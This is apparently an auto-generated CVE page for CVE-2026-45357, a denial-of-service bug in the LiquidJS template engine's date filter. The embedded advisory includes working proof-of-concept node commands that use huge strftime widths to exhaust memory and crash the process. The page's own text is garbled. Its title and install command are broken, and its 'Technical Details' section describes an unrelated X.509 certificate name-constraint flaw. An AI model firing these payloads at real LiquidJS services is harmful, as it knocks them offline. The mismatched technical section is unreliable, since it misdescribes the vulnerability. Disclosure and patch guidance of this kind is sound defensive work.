CVE-2026-45357: Liquidjs LiquidJS Has A Memory And Vulnerability
HIGHCVE-2026-45357 is a HIGH (CVSS 7.5) liquidjs has a memory and vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Liquidjs libraries in the npm ecosystem. The issue involves liquidjs has a memory and render limit bypass via unbounded width padding in `date` filter (strftime). Remediation is available in the latest vendor maintenance releases.
CVE-2026-45357 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-45357
To remediate this vulnerability, upgrade all affected Liquidjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install liquidjs@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls liquidjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-45357, inspect your project dependencies using npm:
npm ls liquidjs
Analyze the terminal output to locate any version of Liquidjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls liquidjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Liquidjs failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-45357 Affected Liquidjs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
liquidjs
|
npm |
≤ 10.25.7
|
|
References
Frequently Asked Questions
What is CVE-2026-45357?
Which Liquidjs versions are affected?
What version fixes CVE-2026-45357?
Is liquidjs affected?
What is the CVSS score of CVE-2026-45357?
What CWE is associated with CVE-2026-45357?
How can I check npm dependencies for CVE-2026-45357?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hh27-hf48-9f5q",
"modified" : "2026-07-09T21:06:30Z",
"published" : "2026-05-27T17:33:52Z",
"aliases" : [ "CVE-2026-45357" ],
"summary" : "LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)",
"details" : "## Summary\n\nThe `date` filter's strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context's `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: '%5000000d' }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls — and which the docstring explicitly mentions for `strftime` — are entirely bypassed.\n\n## Details\n\n`date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone:\n\n```ts\nexport function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {\n const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)\n this.context.memoryLimit.use(size)\n ...\n return strftime(date, format)\n}\n```\n\n`strftime` (`src/util/strftime.ts:121`) then walks the format with `rFormat = /%([-_0^#:]+)?(\\d+)?([EO])?(.)/`. The captured `width` group is passed directly to `padStart`:\n\n```ts\nfunction format (d, match) {\n const [input, flagStr = '', width, modifier, conversion] = match\n ...\n let padWidth = width || padWidths[conversion] || 0\n ...\n return padStart(ret, padWidth, padChar) // strftime.ts:147\n}\n```\n\n`padStart` calls `pad()` in `src/util/underscore.ts:153`:\n\n```ts\nexport function pad (str, length, ch, add) {\n str = String(str)\n let n = length - str.length\n while (n-- > 0) str = add(str, ch) // unbounded loop\n return str\n}\n```\n\nThe loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.\n\nFilter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.\n\nThis is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`).\n\n## PoC\n\nSetup: `npm install liquidjs@10.25.7`.\n\nStep 1 — bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50):\n\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nconst t0 = Date.now();\nconst out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });\nconsole.log('len=', out.length, 'ms=', Date.now()-t0);\n\"\n```\n\nVerified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored.\n\nStep 2 — OOM-kill the Node process under a 200 MB heap cap:\n\n```bash\nnode --max-old-space-size=200 -e \"\nconst { Liquid } = require('liquidjs');\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nliquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });\n\"\n```\n\nVerified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed.\n\nThe realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.).\n\n## Impact\n\n- DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.\n- Bypass of the engine's two documented DoS controls — `memoryLimit` and `renderLimit` — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.\n- All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on `date`.\n\n## Recommended Fix\n\nTwo complementary fixes:\n\n1. Have `pad()` in `src/util/underscore.ts` charge the Context's memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter:\n\n```ts\nexport function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {\n str = String(str)\n const n = length - str.length\n if (n <= 0) return str\n return add === ((s, c) => c + s)\n ? ch.repeat(n) + str\n : str + ch.repeat(n)\n}\n```\n\n2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.\n\nBoth fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "liquidjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "10.25.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/harttle/liquidjs/security/advisories/GHSA-hh27-hf48-9f5q"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45357"
}, {
"type" : "WEB",
"url" : "https://github.com/harttle/liquidjs/commit/3129d46dc95efa357b00e5a57ee1af80a13d72ed"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/harttle/liquidjs"
}, {
"type" : "WEB",
"url" : "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-27T17:33:52Z",
"nvd_published_at" : "2026-06-17T23:17:03Z"
}
}